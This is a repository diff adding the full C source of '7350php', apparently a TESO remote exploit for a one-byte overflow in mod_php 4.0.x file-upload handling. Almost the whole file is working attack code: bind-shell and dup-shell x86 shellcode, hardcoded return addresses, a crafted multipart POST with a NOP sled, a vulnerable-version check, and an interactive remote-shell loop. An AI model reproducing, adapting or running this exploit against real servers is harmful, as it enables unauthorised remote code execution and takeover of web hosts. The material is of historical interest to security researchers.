summaryrefslogtreecommitdiff
path: root/exploits/7350php/7350php.c
diff options
context:
space:
mode:
Diffstat (limited to 'exploits/7350php/7350php.c')
-rw-r--r--exploits/7350php/7350php.c376
1 files changed, 376 insertions, 0 deletions
diff --git a/exploits/7350php/7350php.c b/exploits/7350php/7350php.c
new file mode 100644
index 0000000..32488b9
--- /dev/null
+++ b/exploits/7350php/7350php.c
@@ -0,0 +1,376 @@
1/* 7350php - x86/linux mod_php v4.0.1-v4.0.3p1 remote exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * (C) COPYRIGHT TESO Security, 2001
14 * All Rights Reserved
15 *
16 *****************************************************************************
17 * bug found by lorian
18 * exploit by lorian
19 * thanks to scut for his network lib
20 *
21 * this exploits a one byte overflow in the mod_php file upload
22 * handling routine. because apache is a very heavily used daemon
23 * you maybe need several tries with the same offset for the exploit
24 * to work. on my system 2 tries were always enough to get either
25 * a dup- or a portshell. but because of the way apache works you have
26 * unlimited tries anyway.
27 * i have only tested on one system so far but i think the retaddr will
28 * not differ soo much on different installations. because of the
29 * unlimited tried one can maybe bruteforce the retloc.
30 */
31
32#define VERSION "0.0.1"
33
34#include <sys/types.h>
35#include <sys/time.h>
36#include <sys/socket.h>
37#include <netinet/in.h>
38#include <netdb.h>
39#include <errno.h>
40#include <fcntl.h>
41#include <unistd.h>
42#include <stdio.h>
43#include <stdlib.h>
44#include <string.h>
45#include <time.h>
46
47#include "common.h"
48#include "network.h"
49
50int force = 0; /* force exploitation */
51int checkonly = 0; /* check only */
52int targetsys = 0; /* system */
53int portshell = 0; /* create portshell */
54int numtargets; /* number of offsets */
55
56/* data for target 1 */
57int retloc = 0x40284668;
58int retaddr = 0x08101010;
59
60
61void usage (char *progname);
62int xp_check (int fd, char *host);
63void xp (int fd, char *host, char *phpfile);
64void shell (int sock);
65
66/* x86/linux PIC portshell shellcode
67 * by palmers/teso
68 * port 0x5073 (might want to change it here)
69 */
70unsigned char x86_linux_portshell[] =
71 "\x8b\xe5"
72 "\x31\xc0\x99\x50\xfe\xc0\x89\xc3\x50\xfe\xc0\x50"
73 "\x89\xe1\xb0\x66\xcd\x80\x52\x66\x68\x50\x73\x66"
74 "\x52\x89\xe2\x6a\x10\x52\x50\x89\xe1\xfe\xc3\x89"
75 "\xc2\xb0\x66\xcd\x80\x80\xc3\x02\xb0\x66\xcd\x80"
76 "\x50\x52\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3"
77 "\x31\xc9\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80"
78 "\xfe\xc1\xb0\x3f\xcd\x80\xb0\x0b\x99\x52\x68\x6e"
79 "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
80 "\x89\xe1\xcd\x80";
81
82/* x86/linux PIC dupshell shellcode
83 * by lorian/teso
84 */
85unsigned char x86_linux_dupshell[] =
86 "\x8b\xe5"
87 "\x31\xc0\x31\xdb\xb3\x03\x31\xc9\xb0\x3f\xcd\x80"
88 "\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80"
89 "\xb0\x0b\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
90 "\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";
91
92unsigned char * shellcode = x86_linux_dupshell;
93
94/*
95 * Defined Offsets
96 */
97
98typedef struct {
99 unsigned int retloc;
100 unsigned int retaddr;
101 char *system;
102} target;
103
104target targets[] = {
105 { 0x40284668, 0x08101010, "Debian 2.2r3 / Apache 1.3.20 / PHP 4.0.3" },
106 { 0, 0, NULL }
107};
108
109
110void
111usage (char *progname)
112{
113 int i;
114 fprintf (stderr, "usage: %s [options] <hostname> <phpfile>\n\n", progname);
115 fprintf (stderr, "Options:\n -c\t\tcheck exploitability only, do not exploit\n"
116 " -f\t\tforce mode, override check results\n"
117 " -l retloc\tset retlocation\n"
118 " -a retaddr\tset return address\n"
119 " -t target\tchoose target\n");
120 for (i=0; i<numtargets; i++) {
121 fprintf (stderr, "\t\t(%d) %s\n", i+1, targets[i].system);
122 }
123 fprintf (stderr, "\n");
124
125 exit (EXIT_FAILURE);
126}
127
128int
129main (int argc, char *argv[])
130{
131 char c;
132 char * progname;
133 char * dest;
134 char * phpfile;
135 int fd;
136
137 fprintf (stderr, "7350php - x86/linux mod_php v4.0.1-v4.0.3pl1 remote exploit\n"
138 "by lorian.\n\n");
139
140 /* check how many targets we have */
141 numtargets = 0;
142 while (targets[numtargets].system) numtargets++;
143
144 progname = argv[0];
145 if (argc < 3)
146 usage (progname);
147
148 while ((c = getopt (argc, argv, "cfg:t:a:l:p")) != EOF) {
149 switch (c) {
150 case 'c':
151 checkonly = 1;
152 break;
153 case 'f':
154 force = 1;
155 break;
156 case 't':
157 targetsys = (atoi (optarg)-1) % numtargets;
158 retloc = targets[targetsys].retloc;
159 retaddr = targets[targetsys].retaddr;
160 break;
161 case 'a':
162 retaddr = atoi (optarg);
163 break;
164 case 'l':
165 retloc = atoi (optarg);
166 break;
167 case 'p':
168 portshell = 1;
169 shellcode = x86_linux_portshell;
170 break;
171 default:
172 usage (progname);
173 break;
174 }
175 }
176
177 dest = argv[argc - 2];
178 if (dest[0] == '-')
179 usage (progname);
180
181 phpfile = argv[argc - 1];
182 if (phpfile[0] == '-')
183 usage (progname);
184
185
186 fd = net_connect (NULL, dest, 80, NULL, 0, 20);
187 if (fd <= 0) {
188 fprintf (stderr, "failed to connect\n");
189 exit (EXIT_FAILURE);
190 }
191
192 if (xp_check (fd, dest) == 0 && force == 0) {
193 printf ("aborting\n");
194#ifndef DEBUG
195 exit (EXIT_FAILURE);
196#endif
197 }
198 close (fd);
199
200 if (checkonly)
201 exit (EXIT_SUCCESS);
202
203 fd = net_connect (NULL, dest, 80, NULL, 0, 20);
204 if (fd <= 0) {
205 fprintf (stderr, "failed to connect the second time\n");
206 exit (EXIT_FAILURE);
207 }
208
209 srand (time (NULL));
210
211 printf ("\n## sending POST header ...\n");
212
213 xp (fd, dest, phpfile);
214
215 printf ("\n## done ...\n\n");
216
217 if (!portshell) {
218 printf ("## you should be connected to a dup-shell now\n");
219 printf ("## if not simply try again\n");
220 printf ("command> ");
221 fflush (stdout);
222 shell (fd);
223 } else {
224 printf ("## there should be a portshell on port 20595 now\n");
225 printf ("## if not simply try again\n");
226 }
227
228 exit (EXIT_SUCCESS);
229}
230
231
232void
233xp (int fd, char *host, char *phpfile)
234{
235 int i, n;
236 unsigned char *bchars="0123456789abcdef";
237 unsigned char boundary[43];
238 unsigned char buffer[1024*1024];
239 unsigned char *content = buffer;
240 unsigned char namebuf[1024];
241
242 /* construct boundary tag */
243 boundary[40] = '\0';
244 memset (boundary, '-', 29);
245 for (i=27; i<40; i++) boundary[i]=bchars[rand () & 15];
246
247 /* construct namebuffer */
248 memset (namebuf, 0xcc, 109+8*30);
249 namebuf[109+8*30] = '\0';
250 namebuf[108+8*30] = ']';
251 namebuf[8] = '[';
252
253
254 *(int *)&namebuf[8+240+0+1-4] = 0xfffffffc;
255 *(int *)&namebuf[8+240+4+1-4] = 0xfffffffc;
256 *(int *)&namebuf[8+240+8+1-4] = retloc-12;
257 *(int *)&namebuf[8+240+12+1-4] = retaddr;
258
259 /* construct content */
260 content += sprintf (content, "%s\r\n"
261 "Content-Disposition: form-data; name=\"", boundary);
262 memcpy (content, namebuf, 109+8*30);
263 content += 109+8*30;
264 content += sprintf (content, "\"; filename=\"a\"\r\n"
265 "Content-Type: text/plain\r\n\r\n"
266 "Hallo\r\n"
267 "\r\n"
268 "%s\r\n"
269 "Content-Disposition: form-data; name=\"aaaa[a]\"; filename=\"a\"\r\n"
270 "Content-Type: text/plain\r\n\r\n", boundary);
271
272 /* add "jump nops" */
273 for (i=0; i<100000; i++) {
274 *content++ = 0xeb;
275 *content++ = 0x7e;
276 }
277 /* append "nops" */
278 for (i=0; i<150; i++) {
279 *content++ = 0x43;
280 }
281 /* append shellcode */
282 content += sprintf (content, "%s", shellcode);
283
284 /* close with boundary tag */
285 content += sprintf (content, "\r\n"
286 "%s--\r\n", boundary);
287
288 /* construct and send POST header */
289 net_write (fd, "POST /%s HTTP/1.1\r\n"
290 "Host: %s\r\n"
291 "Content-Type: multipart/form-data; boundary=%s\r\n"
292 "Content-Length: %d\r\n"
293 "Connection: Keep-Alive\r\n"
294 "\r\n"
295 ,phpfile, host, boundary+2, content-buffer);
296
297 i = content-buffer;
298 content = buffer;
299 n = send (fd, content, i, 0);
300 while ((n > 0)&&(i > 0)) {
301 content += n;
302 i -= n;
303 n = send (fd, content, i, 0);
304 }
305
306}
307
308
309int
310xp_check (int fd, char *host)
311{
312 int n;
313 unsigned char buf[1024];
314 char *version;
315 int found = 0;
316
317 printf ("## Checking for vulnerable PHP version...\n");
318 net_write (fd, "HEAD / HTTP/1.1\r\n"
319 "Host: %s\r\n"
320 "\r\n", host);
321
322 n = 10;
323 while ((n > 2)&&(!found))
324 {
325 n = net_rlinet (fd, buf, sizeof (buf)-1, 0);
326 if ((strncasecmp (buf, "Server:", 7) == 0) ||
327 (strncasecmp (buf, "X-Powered-By:", 13) == 0))
328 {
329 version = strstr (buf, "PHP/4.0.");
330 if (version) {
331 if ((*(version+8) >= '1') &&
332 (*(version+8) <= '3')) found=1;
333 }
334 }
335 }
336
337 if (found) printf ("## check: PASSED\n");
338 else printf ("## check: FAILED\n");
339
340 return (found);
341}
342
343
344void
345shell (int sock)
346{
347 int l;
348 char buf[512];
349 fd_set rfds;
350
351
352 while (1) {
353 FD_SET (0, &rfds);
354 FD_SET (sock, &rfds);
355
356 select (sock + 1, &rfds, NULL, NULL, NULL);
357 if (FD_ISSET (0, &rfds)) {
358 l = read (0, buf, sizeof (buf));
359 if (l <= 0) {
360 perror ("read user");
361 exit (EXIT_FAILURE);
362 }
363 write (sock, buf, l);
364 }
365
366 if (FD_ISSET (sock, &rfds)) {
367 l = read (sock, buf, sizeof (buf));
368 if (l <= 0) {
369 perror ("read remote");
370 exit (EXIT_FAILURE);
371 }
372 write (1, buf, l);
373 }
374 }
375}
376